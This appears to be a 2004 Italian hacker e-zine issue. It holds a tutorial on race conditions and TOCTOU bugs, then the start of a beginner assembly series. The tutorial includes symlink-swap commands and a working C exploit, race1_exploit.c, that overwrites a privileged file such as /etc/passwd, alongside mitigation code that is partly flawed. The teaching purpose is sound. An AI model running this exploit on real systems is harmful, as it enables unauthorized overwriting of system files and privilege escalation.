for (parola = strtok(buff, " "); parola != NULL;
parola = strtok(NULL, " ")) {
/*
Divide in sillabe la parola
*/
for (i = 1; dividi_sillabe(parola, &sillaba, i);
i++) {
/*
Riproduce la sillaba contenuta nel
database
*/
if (pronuncia(dev, sillaba, fd) == -1)
fprintf(stderr, "Sillaba "
"sconosciuta\n");
free(sillaba);
}
usleep(300000);
}
}
}
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0B] OQ20040308[0B] ::
:: [0x06][C0DiNG] RACE C0NDiTi0NS [snagg] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
-= alternauts.altervista.org - alternative research group =-
\ snagg (snagg(at)autisticiorg) - alternauts(at)altervistaorg \
Cosa sono:
Le race condition sono gli errori piu' comuni nella programmazione
multithreaded o multiprocesso. Una race condition si verifica quando
una assunzione fatta dal programmatore che non dovrebbe cambiare per un
dato lasso di tempo, cambia per forza .
In questo caso il programma diventa non deterministico dando luogo a
diversi problemi di robustezza del codice, ma spesso anche di sicurezza
del sistema dove il codice viene eseguito. Vediamo un piccolo esempio.
Supponiamo di avere un programma multithreaded che per ogni accesso
dell' utente restituisce un codice di sessioni differente preso da un
qualsiasi generatore di numeri casuali (es /dev/random) scrivendolo su
uno stesso buffer.
Cosa succederebbe se due utenti eseguissero quasi nello stesso momento
il programma? Il primo thread inizia ad essere schedulato, ma il kernel
lo blocca quindi processa il secondo restituendo il codice di sessione
generato per il primo thread subito dopo , il primo thread riprendera`
ad essere scedulato senza che il codice di sessione (scritto nel famoso
e _unico_ buffer) venga aggiornato .
In questo modo entrambi i thread restituiscono lo stesso codice.
Questo e` un esempio di race condition poiche` il programma fa
un'assunzione (Nessuno si collega al server per n milli secondi), che
viene infranta e quindi da luogo a problemi di sicurezza.
Generalmente su n tentativi puo' capitare che si verifichi la race
condition una volta sola. Anche se la possibilita` che si verifichi una
race condition non sono molte magari una su mille, molto prababilmente
con un attacco automatizzato sara` piu` facile sollecitarla e quindi
dare luogo a problemi. Le race condition sono strettamente collegate
allo scheduling di threads e processi, di cui parleremo in seguito.
Le race condition affliggono potenzialmente tutti gli ambienti
multithreaded, multiprocesso , con i segnali (UNIX) asincroni, con i
semafori e potenzialmente anche in kernel space, infatti il kernel linux
ad esempio ha la possibilita' di creare threads che lavorino solo in
kernel space. Purtroppo alcune race condition attaccano anche il
filesystem, recentemente e` stata trovata una race condition che
affliggeva JFS con le chiamete link() e unlink(), causando non poche
grane.
Supponiamo di avere un programma che prima di aprire un file usa la
syscall access()[2] per controllare se ha determinati permessi sul file
da aprire. Nel tempo che intercorre tra l`access e la reale apertura del
file, un attacker potrebbe cambiare il file sul quale il programma ha
determinati permessi con un altro su cui l'attacker non ne ha ottenendo
tutti i privilegi che il codice vulnerabile aveva sul primo.Ovviamente il
programma deve avere privilegi superiori di colui che cerca di
exploittarlo altrimenti sarebbe inutile fare tanta fatica per nulla.
Questo tipo di race condition si chiamano TOCTOU (time to check,
time to use). Piu' in la' nel testo vedremo con sfruttarle.Generalmente
le race condition dipendono dallo stato della macchina e dai tipo di
processi in esecuzione ovvero se hanno priorita` maggiore o minore dei
nostri.Piu` in la` spiegheremo come funziona lo scheduling.
Le finestre di tempo:
Una finestra di tempo e' il lasso di tempo in cui si puo' sfruttare la
race condition. Piu' questo e' ampio piu' ci sono probabilita' che la
race condition si verifichi.
I programmatori comunemente non fanno molto caso a quanto posso essere
ampia una finestra di tempo in termini di millisecondi, comunque sarebbe
buona norma rendere il codice "atomico". Con atomico si intende che il
codice critico viene eseguito senza che il processo venga switchato
ovvero uninterruptible , senza che nulla possa bloccare la sua
esecuzione.
Una buona soluzione sarebbe ridurre al minimo la finestra di tempo, che
se non atomica potrebbe essere così piccola da non essere mai sfruttata.
Lo scheduling:
Una tra le cose piu` importanti da sapere quando si cerca di sfruttare
una race condition e` sapere in che modo il kernel scheduli i threads.
Per quel che riguarda linux la politica di scheduling si basa su:
time sharing;
priorita` dei processi;
Lo scheduler tiene periodicamente conto di cio` che i processi fanno e
di conseguenza imposta la priorita` in modo tale da vedere quanto i
processi possano sfruttare la CPU, inoltre se un processo sta sfruttando
la CPU per un lungo periodo, la sua priorita` scende sistematicamente.
I processi vengono abitualmente classificati in:
Interactive processes;
Batch processes;
Real-time processes;
I primi sono quelli che necessitano dell'interazione con l'utente (es un
tocco del mouse o della tasiera), quindi necessitano di tanto tempo e
hanno una priorita` generalmente media. I secondi non sono interattivi,
spesso vengono penalizzati dallo scheduler poiche` non hanno bisogno di
gran respondivita`(es la compilazione di sorgenti con gcc) e hanno la
priorita` piu` bassa di tutti i tipi di processi.
Gli ultimi invece sono quelli con maggiore priorita` poiche` servono per
flussi di dati video o audio ad esempio che non possono interrompersi
frequentemente.
Abitualmente lo scheduler decide da solo che priorita` dare al processo
anche se il programmatore tramite syscall puo` assegnare la priorita`
che ritiene piu` opportuna.
E` molto importante notare che i processi in TASK_RUNNING hanno
priorita` sugli altri cosi` sono i primi a essere scedulati.
La stessa cosa vale per lo scheduling dei thread, per uno studio
conoscitivo del sistema e del processo sul quale bisogna perpretare
l'attacco sarebbe buon uso prendere in considerazione la possibilita`
di includere nel proprio exploit una syscall che indichi la priorita`
del processo assegnato dal kernel. Per avere una lista completa delle
syscall fate riferimento al [2] nella bibliografia.Bisogan fare qualche
precisazione esistono due priorita` per un processo una settata dal
kernel e una che puo` essere settata dall'user che lancia il processo
per quel che riguarda la seconda esistono priorita` da -19 a +20, mentre
per il primo si va da 1000 e -1000 e in piu` c'e` +ve per il processo
definito nello scheduling :
"goodness" value (the larger, the better)
-1000 significa che il processo non sara` mai selezionato , 0 che il
tempo e` scaduto ma che verra` riprocessato in seguito +1000 che e`
generalmente un realtime process.Per i processi che si usa classificare
con batch o interactive si hanno priorita` medie di solito cioe` diverse
da 1000 +ve , ovvio che potrebbero diventare 0 se scade il tempo
assegnatoli.
Esempi pratici:
Ecco di seguito 2 esempi di race condition, il primo e' una TOCTOU molto
semplice e poco realistica ,infatti il programma con la race condition
deve essere eseguito da root per sovrascrivere file importanti tipo
/etc/passwd, pero` e` un buon esempio della teoria dei TOCTOU.
Qualche tempo fa e` stata trovata una race condition del programma
passwd, infatti tutti gli utenti possono sovrascrivere la propria entry
nel file delle passwd, ma con qualche gioco in piu` si e` riusciti
creare un exploit che permettesse a qualunque utente di lavorare su
tutte le entry del file, basandosi sui concetti alla base delle TOCTOU.
-- Code - race1.c --
#include
#include
#include
#include
#include
#include
#include
#include
int
main (int argc, char **argv)
{
FILE *f;
if (argc != 3)
{
printf ("USAGE %s : file string\n", argv[0]);
exit (-1);
}
if (!access (argv[1], W_OK))
{
f = fopen (argv[1], "wb+");
fprintf (f, argv[2]);
fflush (f);
}
else
{
perror ("access");
exit (-1);
}
return 0;
}
-- End Code --
Se si analizza il codice ci si accorge facilmente che c`e' un'ampia
finestra di tempo tra la chiamata access e la vera apertura del file,
in questo modo noi potremmo sovrascrivere un altro file sul quale non
abbiamo i necessari permessi (come /etc/passwd). Vediamo come dovrebbe
essere l'exploit teoricamente e come in realta' sara' una volta
automatizzato. Teoricamente basterebbe dare i seguenti comandi mentre il
codice viene lanciato.
touch file
ln -s file fakefile
Subito dopo che root ha lanciato il programma con argomento file:
rm fakefile && ln -s /etc/passwd fakefile
/etc/passwd rappresenta il file sul quale non abbiamo i permessi per
scrivere, ma che verra' sovrascritto dopo il nostro comando se abbiamo
fortuna.
Andiamo a vedere come sara' l'exploit automatizzato in C:
-- Code - race1_exploit.c --
#include
#include
#include
#include
#include
#define NAME_LEN 8
#define STR_LEN 1024
struct file
{
char *name;
char *name2;
char *string;
char *string2;
};
struct file *need;
void
inizializate ()
{
if ((need = (struct file *) malloc (sizeof (struct file))) == NULL)
exit (-1);
if ((need->name = (char *) malloc (NAME_LEN)) == NULL)
exit (-1);
if ((need->name2 = (char *) malloc (NAME_LEN)) == NULL)
exit (-1);
if ((need->string = (char *) malloc (STR_LEN)) == NULL)
exit (-1);
if ((need->string2 = (char *) malloc (STR_LEN)) == NULL)
exit (-1);
}
int getrace (char *file2, char *string)
{
FILE *rac, *to;
inizializate ();
/*
Azzero la memoria allocata dalla malloc()
*/
memset(need->name, 0, NAME_LEN);
/*
Usando un size di NAME_LEN - 1 assicuro che la stringa
sia sempre null-terminata
*/
strncpy (need->name, "toexl", NAME_LEN - 1);
strncpy (need->name2, "alias", NAME_LEN);
need->name2[NAME_LEN - 1] = 0;
strncpy (need->string2, string, STR_LEN);
need->string2[STR_LEN - 1] = 0;
if ((rac = fopen (need->name, "wr+")) == NULL)
{
perror ("fopen");
exit (-1);
}
while(strncmp (need->string, need->string2, strlen (need->string2)) != 0)
{
/*
Crea un link simbolico al file "toexl"
*/
if ((symlink (need->name, need->name2)) != 0)
{
perror ("link");
exit (-1);
}
if ((unlink (need->name2) != 0))
{
perror ("unlink");
exit (-1);
}
if ((symlink (file2, need->name2)) != 0)
{
fprintf (stderr, "Failed\n");
exit (-1);
}
/*
Legge il contenuto del file da sovrascrivere per eseguire un
successivo confronto mediante strncmp() al fine di verificare
se la race condition ha avuto luogo
*/
if ((to = fopen (file2, "r")))
{
fgets (need->string, STR_LEN, to);
fclose (to);
}
if ((unlink (need->name2) != 0))
{
perror ("unlink");
exit (-1);
}
}
fclose (rac);
return 2;
};
int main (int argc, char **argv)
{
if (argc != 3)
{
printf ("USAGE:%s filetosubscribe string\n", argv[0]);
exit (0);
}
if ((getrace (argv[1], argv[2])) == 2)
{
printf ("Well done , we have rewrite the %s file.\n", argv[1]);
}
return 0;
}
-- End Code --
Per prima cosa tramite una fopen()[2] creiamo il file (corrisponde a
"touch file"). Poi tramite symlink()[2] creiamo il link simbolico ad un
fakefile (corrisponde a "ln -s file fakefile"). Da questo momento in poi
iniziera' la vera automatizzazione del codice, abbiamo un while che
controlla che le prime stringhe dei due file siano uguali.
Nel ciclo viene cancellato il file tramite unlink()[2] e viene
simbolicamente linkato tramite symlink()[2]
("ln -s /etc/passwd fakefile"). Ecco tutto l'exploit.
Alcune precisazioni; se avessimo usato link()[2] invece di symlink()[2]
ci sarebbero stati alcuni problemi :
1)sarebbe stato un hard link che sarebbe stato scritto sul filesystem
stesso, quindi non si sarebbe potuta verificare la race condition
2)unlink i file(tranne i link simbolici) vengono rimossi solo quando
nessuna applicazione li usa piu` e solo dopo che sono stati chiusi da
tutti i thread/processi/programmi.
Il secondo esempio e` un programma che esamina delle variabili e dopo
averle processate punta alla prossima da esaminare:
-- Code - race1.c --
#include
#include
#include
#include
#include
int first,second,*pointer;
void assigvar(void*arg);
void* getnextvar(void *arg){
pointer=&first;
assigvar((void*)pointer);
while(first > 4){
pointer=&second;
assigvar((void*)pointer);
}
while(second > 4){
pointer=&first;
assigvar((void*)pointer);
}
return NULL;
}
void assigvar(void *arg){
arg=0;
arg++;
printf("%d\n",(int)arg);
}
int main(){
pthread_t id, t;
if ((pthread_create(&id, NULL, getnextvar,NULL)) != 0)
exit(1);
if ((pthread_create(&t, NULL, getnextvar,NULL)) != 0)
exit(1);
pthread_join(id, NULL);
pthread_join(t, NULL);
return 0;
}
-- End Code --
Allora il codice si comporta cosi`: lancia due thread che modificano
il valore della prima variabile (first) poi entrambi modificano la
seconda e cosi` via.
La race condition potrebbe verificarsi se lo scheduling avvenisse in
questo modo:
1)il primo thread prende la variabile da modificare, controlla che non
sia del valore che deve essere assegnato
2)il kernel blocca il primo e fa partire il secondo che fa la stessa
cosa e modifica la variabile incrementando il suo valore cosa che
avrebbe dovuto fare il primo
3) il primo thread non sapendo che il secondo ha fatto la stessa cosa
aumenta ulteriormente il valore della variabile
Uno scheduling del genere da luogo ad una race condition, ovviamente per
la semplicita` del codice questa sara` quasi impossibile da dimostrare
anche se e` presente e potenzialmente pericolosa.
Vediamo delle possibili soluzioni per i codici precendenti
adoperabili quasi sempre.
Per il primo caso TOCTOU:
-- Code - race1_sol.c --
#include
#include
#include
#include
#include
#include
#include
#include
int
secwrite (char *file, char *string)
{
FILE *f;
int fd;
struct stat first, after;
// do a stat before open the file
if (lstat (file, &first) == -1)
{
perror ("lstat");
exit (-1);
}
// open the file
if ((fd = open (file, O_RDWR)) == -1)
{
perror ("open");
exit (-1);
};
// check again the fiel aftet opening it
if (fstat (fd, &after) == -1)
{
perror ("fstat");
exit (-1);
}
//check if any part of the struct are the same
if (first.st_mode == after.st_mode && first.st_dev == after.st_dev)
{
// create the file descriptor
if ((f = fdopen (fd, "wb+")) != NULL)
{
fprintf (f, string);
fflush (f);
fclose (f);
}
}
else
close (fd);
return 2;
}
int
main (int argc, char **argv)
{
if (argc != 3)
{
fprintf (stderr, "USAGE %s : file string\n", argv[0]);
exit (-1);
}
if (secwrite (argv[1], argv[2]) == 2)
printf ("Done\n");
return 0;
}
-- End Code --
In questo caso si fa prima un lstat()[2] sul path del file, in seguito
si apre tramite la open()[2] il file e infine si fa di fstat()[2].
Se le struct di lstat e di fstat combaciano(almeno in certi campi) si fa
un fdopen()[3] sul file descriptor di open cosi` da avere un file
descriptor tipico di una fopen.
Il seguente metodo e` e` immune dalla race condition.
Con qualche modifica nell'open e nell'fdopen e` possibile usare questo
metodo per tutti i problemi relativi a questo tipo di race condition
filesystem.
Generalmente sarebbe buona regola per evitare i TOCTOU:
1) passare il path del file che si desidera aprire a lstat() invece di
fare solo uno stat() sul file
2)Aprire con open invece che con fopen magari settando un u_mask
appropriata e O_EXCL.
3) eseguire un lstat dopo averlo aperto
4) se tutto va bene eseguire fdopen
5) ricordarsi di chiudere tutti i file prima di fare altre operazioni
Le operazione sul secondo codice, potrebbero essere rese atomiche
tramite i mutex[3].
-- Code - race2_sol.c --
#include
#include
#include
#include
#include
int first,second,*pointer;
pthread_mutex_t valuemutex;//create the mutex
void assigvar(void*arg);
void* getnextvar(void *arg){
pointer=&first;
assigvar((void*)pointer);
pthread_mutex_init(&valuemutex,NULL);//inizializate it
pthread_mutex_lock(&valuemutex);//lock the mutex
while(first > 4){
pointer=&second;
assigvar((void*)pointer);
}
while(second > 4){
pointer=&first;
assigvar((void*)pointer);
}
pthread_mutex_unlock(&valuemutex);//unlock it
return NULL;
}
void assigvar(void *arg){
arg=0;
arg++;
printf("%d\n",(int)arg);
}
int main(){
pthread_t id, t;
if ((pthread_create(&id, NULL, getnextvar,NULL)) != 0)
exit(1);
if ((pthread_create(&t, NULL, getnextvar,NULL)) != 0)
exit(1);
pthread_join(id, NULL);
pthread_join(t, NULL);
return 0;
}
-- End Code --
L'unica cosa che abbiamo fatto e` stato mettere un mutex prima dei
controlli sulle variabili in modo tale che un thread per volta legga i
valori e si comporti di conseguenza.
In questo caso basta usare i mutex su una variabile, ma qualche volta e`
necessario delimitare delle vere sezioni critiche che se non vengono
interamente eseguite il programma termina, si puo` definire una zona
critica tramite pthread_setcancelstate()[3], questo fa in modo che due
thread non possano essere switchati in esecuzione dando luogo a race
condition.
E` inoltre una buona idea usare qualche volta i lock dei file,
ma bisogna stare molto attenti come andremo a vedere in seguito.
Esistono due modi per fare il lock usando la chiamata open con il flag
O_EXCL oppure usando la chiamata lock.
Effetti collaterali, i deadlock:
Purtroppo l'uso di MUTEX o del lock dei file puo` dare origine a problemi
chiamati deadlock. I Mutex e i lock dei file permettono di bloccare
l'esecuzione di un thread/processo finche` una condizione non avviene.
Si ha una deadlock quando l'evento che dovrebbe sbloccare la funzione
non avviene mai e quindi il programma resta in stallo perenne.
Un esempio molto comune e` che un mutex aspetta di essere rilasciato dal
thread stesso che e` in attesa dello sblocco del mutex, ne consegue che
il mutex non verra` mai rilasciato poiche` il thread che dovrebbe
adempiere a questo compito e` bloccato stesso in attesa che il mutex
faccia continuare la sua esecuzione.
Per evitare questi problemi e` consigliabile controllare che
l'evento avvenga per forza entro un lasso di tempo, altrimenti lo si
forza in modo tale che il programma possa continuare il suo lavoro,
anche se questo introduce una certa latenza, alle volte inaccettabile.
Conclusioni:
Spero di essere riuscito a spiegare tutto in maniera chiara, se trovate
errori, imprecisioni o se avete curiosita` potete mandarmi una mail.
Come ultima cosa volevo ringraziare Vega_ che mi ha dato un aiuto nella
stesura dell'articolo.
L'ultima cosa che resta da dire e`, attenti ai vostri codici.
Cheers:)
Bibliografia:
[1]Building Secure Software
[2]Understanding the linux kernel
[3]ALP , advanced linux programming
[4]GaPiL , guida alla programmazione in linux
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0B] OQ20040308[0B] ::
:: [0x07][C0DiNG] EASY ASSEMBLY MiSSi0N - PARTE 1 [spectrum] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Un caldo e sentito _GRAZIE_ alla redazione di questa magnifica e inte-
ressantissima rivista, per avermi offerto questo spazio che spero di
utilizzare nel migliore dei modi. Vista la grande passione che coltivo
da un po' di anni per il linguaggio assembler (piu propriamente chiamato
assembly), colgo l'occasione per provare a spiegare in maniera piu'
semplice e chiara possibile di che cosa si tratta. Tenete presente pero'
che l'italiano a scuola non era il mio forte, per cui non usero' sempre
i termini piu appropriati, che diro' anch'io le mie cazzate, come le di-
cono del resto a volte anche i professori, ma che almeno tutto quello
che troverete di seguito e' solo farina del mio sacco.
Questa modesta serie di articoli, che spero sia scorrevole e leggera, e'
diretta a quelli di voi che veramente di assembler e microprocessori non
ne hanno la minima idea. Tuttavia chi ha gia un po di background potra'
comunque divertirsi a leggere un po delle cavolate che seguiranno :).
Di tut. assembly ce ne sono a milioni, ma la mie idea e' di illustrare
le cose in maniera talmente semplice che tutti voi possiate capire,
soprattutto chi parte da zero. Poche volte, anzi dieri quasi mai, ho
trovato quella semplicita' di spiegazione delle cose che ho sempre spe-
rato di trovare in merito all'assembler (il termine "assembler" che in
realta' indica il compilatore, e non il linguaggio, mi piace di piu').
Se riproporro' spiegazioni simili a quelle trovate in libri grigi e
freddi, allora avro' fallito la mia missione. Se qualcuno di voi tro-
vera' le mie spiegazioni da altre parti Googlando, allora avro' stra-
fallito. Se non capirete avro' fallito lo stesso quindi speriamo bene.
-(1)- breve introduzione
E' sabato sera ed avrei potuto andare in discoteca ma alla fine non mi
sarebbbe rimasto molto se non fumo respirato, bibita che ti scassa,
belle ragazze da vedere e non toccare, cose ormai che mi iniziano a stu-
fare. Un bel tutorial asm invece mi entusiasma un bel po'.
Fin da piccolo rimasi fortemente colpito dal linguaggio assembly e dalla
sua complessita'. Nel 1984 ero 13enne, e i computer piu diffusi nelle
case avevano nomi tipo ZX81, VIC20, Spectrum, C16, C64. Insomma nomi
che avrete sentito nominare almeno una volta. Computer nati quasi esclu-
sivamente far divertire i ragazzini con una discreta serie di giochi,
anche se fornivano un sistema operativo di base e un ambiente di svi-
luppo basato sul linguaggio Basic. Tuttavia l'assembler era indicato per
ottenere le massime prestazioni dall'hardware. Mi affascino' subito, e
mi affascino' proprio per la sua complessita'. Quel linguaggio si pre-
sentava appunto come una colonna di codici mnemonici indecifrabili, che
a 13 anni risultava essere veramente difficile da comprendere.
La leggenda narrava che l'assembly era il linguaggio piu vicino al lin-
guaggio della macchina, codice composto esclusivamente da UNI e da ZERI.
E cosi e'. Tutto quello che trovate nel mondo informatico, per essere
eseguito da un microprocessore, verra' sempre visto dal processore in
termini di istruzioni di base. E credo che per un po' di anni questa re-
gola rimarra' ancora valida :) .
Dunque, circa 7 anni fa ho deciso di riprendere in mano la sfida. Non ho
mai ingoiato il rospo di non aver mai capito nulla di asm (d'ora in poi
uso asm, asm = linguaggio assembly). La verita' e che sono sempre stato
abbastanza poco convinto, e che i libri che mi ero comprato non erano
scritti in modo tale da far capire il linguaggio anche a persone poco
sveglie come me. Insomma, mi e' rimasta la voglia di scrivere qualcosa
di molto semplice, per dare qualcosa a chi ha voglia di imparare, e so-
prattutto per spiegare argomenti veramente terra-terra che non ho trova-
to nei libri che ho letto. Se non comprenderete alcune nozioni di base,
alcune domande vi rimarranno fisse nella testa. Spero che alla fine di
questo articolo o serie di articoli (vedremo) vi sia rimasto qualcosa.
Ok, ora basta annoiarvi con questa spece di autobiografia del cavolo.
Entriamo nel mondo della magia oscura, dei microprocessori, draghi
streghe kroll, troll, codici operativi, maghi e folletti, mnemonici
legati alle architetture, cavalieri, bus dati e indirizzi, etc etc.
A parte gli scherzi, forniro' in seguito un minimo di background elet-
tronico, giusto per arrivare fino ai bit e al clock.
Pronti ? Bene, proviamo a partire.
-(2)- nozioni BASE
Elenco alcuni punti fissi che reputo veramente necessari affinche' quel
che apprenderete dopo riguardo l'asm sia davvero vostro fino in fondo.
+ Cose'e' un PC ?
Questo non lo spiegherei. Se non lo sapete avete visitato il "sito
internet" sbagliato. Digita www.google.com nella barra indirizzi.
+ Cosa sono i Volt ?
I Volt sono l'unita' di misura della differenza di potenziale. Dunque,
vediamo come farvi capire in maniera semplice. Immaginate di mettere
una palla sopra a un armadio. La palla ha acquisito energia. Si trova
ora a un altezza di 2,5 metri. E se la spingete cadra' verso il basso.
L'energia che aveva acquisito gli era stata fornita da voi alzandola.
La palla sopra all'armadio si trova dunque ad avere un energia con se'.
Un po come tirare un elastico che quando mollate torna in posizione na-
turale. Quando tra due fili avete 12Volt significa che uno dei due fili
(detto il polo positivo, in elettronica sempre in rosso di solito) ha
un energia elettrica detta appunto "tensione" di +12VOLT rispetto
all'altro filo che sara' lo 0 (in elettronica di solito e' indicato in
nero, di solito i punti a potenziale (energia) 0 sono tutti collegati
assieme a una massa metallica). In questo esempio la situazione e'
stabile, cioe' sempre +12V sul filo rosso e 0V sul nero, anche se tras-
corre del tempo. Questo tipo di tensione e' chiamata CONTINUA e ha poco
a che vedere con la tensione 220VOLT che accende le lampadine di casa
vostra. Quella e' un energia che varia nel tempo. L'hardware digitale
dei PC (da dopo l'alimentatore in poi) funziona a tensione CONTINUA
(anche indicata come DC, o =). In particolare l'alimentatore dei PC
(non parlo ovviamente dei server della NASA ma dei PC che avete a casa),
fornisce tutta una serie di tensioni: +5 e +12 che alimnentano le peri-
feriche quali HD, floppy e CDROM, (queste tensioni sono presenti su quei
connettori a quattro poli, rosso +5V, giallo +12V e i due neri al centro
sono collegati assieme a 0Volt (massa comune con la crcassa del "case").
L'alimetatore fornisce poi tutta una serie di tensioni che alimentano la
scheda madre, tensioni presenti sul connettore piu grande (2 per i
Pentium4). Scusate se mi dilungo su cose banali, ma ripeto, vorrei che
le cose piu ovvie e scontate siano chiare a tutti.
+ Cosa sono i Bit ?
I microprocessori capiscono un unico linguaggio: il digitale, cioe' quel
linguaggio composto da segnali elettrici precisi e univoci, che non va-
riano se non di colpo, senza livelli intermedi. Cioe', sarebbe inutile
che io vi gridassi un "ooouaeoi" se voi potreste sentire solo le lettere
A ed U. I microprocessori capiscono solo 2 segnali elettrici uno ALTO,
chiamato anche 1, o appunto BIT 1, segnale pari a un livello di tensione
tra i 3 e 5 VOLT, a seconda del tipo di microprocessore, e uno BASSO,
chiamato anche 0 o BIT 0. Questi due livelli, chiamati anche in inglese
HIGH e LOW, sono le uniche 2 informazioni che il microprocessore comp-
rende.
+ Il codice binario, cos'e' e come funziona, in maniera sintetica
Non avrei potuto parlarvi del codice binario senza spiegarvi i BIT e non
avrei potuto parlarvi dei BIT senza spiegare qualcosa dei VOLT (scusate
se sono pesante come un prof. rompipalle). Bene, i libri di solito qui
cominciano a rompere. Vediamo se riesco a essere piu semplice. Il micro-
processore comprende solo zeri e uni, e comunque comprende solo numeri.
Alcuni genialoidi hanno pertanto fissato delle convenzioni mondiali:
a) 8 Bit messi uno vicino all'altro formano un Byte
b) 1024 Byte messi uno vicino all'altro formano un KiloByte
c) 1024 Kbyte messi uno vicino all'altro formano un MegaByte
E cosi via. Un byte e' quindi un numero binario di 8 bit che noi umani
abbiamo la possibilita' di interpretare come numeri esadecimali o de-
cimali. Come funziona il binario ?
Noi contiamo 0 1 2 3 4 5 6 7 8
Il PC conta 0 1 10 11 100 101 110 111 1000 etc etc etc
Quello che credo sia utile e' che:
con _OTTO_ bit hai un numero al massimo grande 2 elev. alla _OTTO_,
11111111 = 255 (da 0 a 11111111 abbiamo 256 unita')
con 20 bit, 2^20, = 1 MegaByte.
con 32 bit, 2^32, = 4 Giga.
+ Altre unita' utili legate al BYTE
1/2 BYTE si chiama anche nibble (4BIT)
2 BYTE = 1 WORD
4 BYTE = 1 DWORD (doubleword, 32 bit))
8 BYTE = 1 QWORD (quadword, 64 bit)
+ Cos'e' la memoria ?
Immaginate un mobiletto altissimo, di altezza infinita, composto da tan-
ti cassetti uno sopra all'altro. Ok, il piu basso e' il cassetto 0, il
secondo e l'1, il terzo sara il cassetto 2, e cosi via. Il cassetto
piu alto, avra' un numero legato alla capacita'(altezza) massima del mo-
bile. Bene, nella memoria del PC, ogni cassetto contiene 1 Byte.
Non e' difficile insomma, i cassetti potranno essere riempiti o svuotati
solo utilizzando BYTES. Non potrete scrivere o leggere a singoli bit.
Se scrivete una DWORD in memoria con c++, in realta' scrivete 4 BYTE,
uno per volta.
+ Cos'e' un microprocessore ?
Questo lo spieghero' meglio in seguito con un esempio piu semplice pos-
sibile. Tuttavia ne anticipo una prima spiegazione, se non la capite
non ha importanza. Verra' buona per dopo.
Una scatoletta nera, con dentro milioni di "TRANSISTOR" (prendete questo
termine come se fosse un interruttore). Una scatoletta con dentro pero'
anche un po di memoria. Una zona di memoria chiamata CACHE dove ci sara'
un blocco di dati pronti da leggere, e una piccolissima zona di memoria
chiamata REGISTRI del MICROPROCESSORE, che sono una serie di cassetti
vicino alla parte del micro che esegue le operazioni (appunto il cuore
del micro) che serviranno a contenere numeri per i calcoli da eseguire
in maniera piu veloce possibile. Al vocabolo REGISTRI vi dovrete abi-
tuare visto che sara' un termine di continuo utilizzo nell'asm. I regi-
stri escono dalla regola "la memoria e' fatta solo da contenitori di
capienza 1 BYTE", in quanto nei PC solitamente contengono 16 o 32bit per
ognuno, anche se un registro a 32 bit si puo spesso leggere e scrivere
anche per soli 8 o 16 bit. Sono cassetti "grandi" proprio per eseguire
calcoli veloci con numeri grandi.
Il numero, il nome e la capienza dei registri del microprocessore sono
strettamente legati appunto alla marca e al modello del micro stesso
(es, la famiglia dal 386 al Pentium4 ne ha 16 di base, 9 da 32 bit, 6
da 16 bit e uno ancora da 32.
Un microprocessore Intel StrongARM ne ha 16 da 32bit, un micro AMD K6 per
i 16 registri di base e' identico al Pentium4 (se no non ci sarebbe
compatibilita') e cosi via insomma.
Un microprocessore esegue pertanto calcoli su numeri contenuti nei re-
gistri, spostamenti di valori da un registro a un altro, o da una loca-
zione di memoria ad un'altra.
+ Il BUS DATI e il BUS INDIRIZZI
Immaginate che dalla nostra scatoletta nera (microprocessore) escano
32+8+1+1 piedini. Piu o meno, e' cosi anche in realta' nei vostri
pentium (ci sono molti piu piedini che escono ma per ora parliamo di
questi). Allora i 32 si collegano con delle piste di rame su un lato
della scatoletta della "memoria". Gli altri 8 piedini si collegano su un
altro lato della scatoletta nera "memoria".
E gli uno+uno che rimangono anche loro vanno alla memoriam in due punti
diversi. Bene.
Con i 32 piedini (bus indirizzi) scegliamo a che cassetto puntare, con i
due pin separati diciamo alla memoira TIENI o DAMMI. Con DAMMI il conte-
nuto del cassetto viene posto sugli otto pin che restano. Con TIENI
viene invece preso il valore presente sugli 8 pin e messo alla posizione
di memoria indicata dal BUS INDIRIZZI.
+ Il Clock
Il clock e' il motore del PC. E' un segnale elettrico chiamato appunto
"OndaQuadra" che si ripete continuamente nel tempo. E' fatto cosi':
_ _ _
_| |_| |_|
La frequenza di questo segnale significa quante volte si ripete in un
secondo. E' generato da un circuito apposito, che comprende un oscil-
latore al quarzo. In poche parole, all'accensione del PC, questo cir-
cuito e' elettricamente instabile e il quarzo ne aumenta l'instabi-
lita', creando l'oscillazione con frequenza pari alla frequenza di
lavoro del quarzo. Dunque, per farvi capirte, vediamo.. immaginate un
pendolo che tenete fermo in uno dei due punti della sua massima oscil-
lazione. Quando volete partire lo mollate, e lui, grazie anche a un
aiuto meccanico, oscilla senza fermarsi mai. Mmmm, pero non mi piace
motlo la spiegazione.... Va be, per ora non ne trovo una migliore.
Il clock comunque e' il motore di tutto il PC e quindi anche del micro-